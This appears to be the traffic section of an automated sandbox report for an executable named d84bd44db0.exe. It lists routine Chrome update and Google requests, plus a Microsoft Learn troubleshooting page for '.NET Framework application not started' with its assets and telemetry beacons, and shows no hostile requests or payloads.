Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chrome-variations/seed?osname=win&channel=stable&milestone=117 HTTP/1.1Host: clientservices.googleapis.comConnection: keep-aliveIf-None-Match: SMChYyMDIzMTAwMy0xMzI0MjcuMDAzMDAwEggIABADGHUgAA==#3dmkKymQmoQ=A-IM: x-bm,gzipSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 HTTP/1.1Host: learn.microsoft.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 HTTP/1.1Host: learn.microsoft.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/assets/0.4.028726178/styles/site-ltr.css HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/assets/0.4.028726178/global/deprecation.js HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/assets/0.4.028726178/scripts/en-us/index-docs.js HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/content-nav/site-header/site-header.json? HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2 HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://learn.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MicrosoftApplicationsTelemetryDeviceId=4c61837c-5235-43c2-99f4-3a345db27ad2; ai_session=hajTQJF3etz8juCQnrzOrG\|1731967526812\|1731967526812
Source: global traffic	HTTP traffic detected: GET /en-us/content-nav/MSDocsHeader-DotNet.json? HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/toc.json HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/breadcrumb/toc.json HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/banners/index.json HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/media/application-not-started/install-3-5.png HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MicrosoftApplicationsTelemetryDeviceId=4c61837c-5235-43c2-99f4-3a345db27ad2; ai_session=hajTQJF3etz8juCQnrzOrG\|1731967526812\|1731967526812
Source: global traffic	HTTP traffic detected: GET /media/logos/logo_net.svg HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MicrosoftApplicationsTelemetryDeviceId=4c61837c-5235-43c2-99f4-3a345db27ad2; ai_session=hajTQJF3etz8juCQnrzOrG\|1731967526812\|1731967526812
Source: global traffic	HTTP traffic detected: GET /static/third-party/MathJax/3.2.2/tex-mml-chtml.js HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://learn.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MicrosoftApplicationsTelemetryDeviceId=4c61837c-5235-43c2-99f4-3a345db27ad2; ai_session=hajTQJF3etz8juCQnrzOrG\|1731967526812\|1731967526812
Source: global traffic	HTTP traffic detected: GET /en-us/media/event-banners/banner-ignite-2024.jpg HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MicrosoftApplicationsTelemetryDeviceId=4c61837c-5235-43c2-99f4-3a345db27ad2; ai_session=hajTQJF3etz8juCQnrzOrG\|1731967526812\|1731967526812
Source: global traffic	HTTP traffic detected: GET /en-us/media/logos/logo_net.svg HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MicrosoftApplicationsTelemetryDeviceId=4c61837c-5235-43c2-99f4-3a345db27ad2; ai_session=hajTQJF3etz8juCQnrzOrG\|1731967526812\|1731967526812
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d84bd44db0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MicrosoftApplicationsTelemetryDeviceId=4c61837c-5235-43c2-99f4-3a345db27ad2; ai_session=hajTQJF3etz8juCQnrzOrG\|1731967526812\|1731967526812; MC1=GUID=934e92693d6844efb949ecafb1dadd59&HASH=934e&LV=202411&V=4&LU=1731967530309; MS0=c8e8fa36427047f1b048a7d806bfb3d5; MSFPC=GUID=934e92693d6844efb949ecafb1dadd59&HASH=934e&LV=202411&V=4&LU=1731967530309
Source: global traffic	HTTP traffic detected: GET /c.gif?DI=4050&did=1&t= HTTP/1.1Host: c1.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MC1=GUID=934e92693d6844efb949ecafb1dadd59&HASH=934e&LV=202411&V=4&LU=1731967530309; MS0=c8e8fa36427047f1b048a7d806bfb3d5
Source: global traffic	HTTP traffic detected: GET /c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=A221098DDF5C4A09B4A5B903B6B7FD8B&RedC=c1.microsoft.com&MXFR=351C5AD9B052612522314FE2B452678F HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c.gif?DI=4050&did=1&t=&ctsa=mr&CtsSyncId=A221098DDF5C4A09B4A5B903B6B7FD8B&MUID=351C5AD9B052612522314FE2B452678F HTTP/1.1Host: c1.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MC1=GUID=934e92693d6844efb949ecafb1dadd59&HASH=934e&LV=202411&V=4&LU=1731967530309; MS0=c8e8fa36427047f1b048a7d806bfb3d5; SM=T; MUID=351C5AD9B052612522314FE2B452678F
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chrome-variations/seed?osname=win&channel=stable&milestone=117 HTTP/1.1Host: clientservices.googleapis.comConnection: keep-aliveIf-None-Match: SMChYyMDIzMTAwMy0xMzI0MjcuMDAzMDAwEggIABADGHUgAA==#3dmkKymQmoQ=A-IM: x-bm,gzipSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
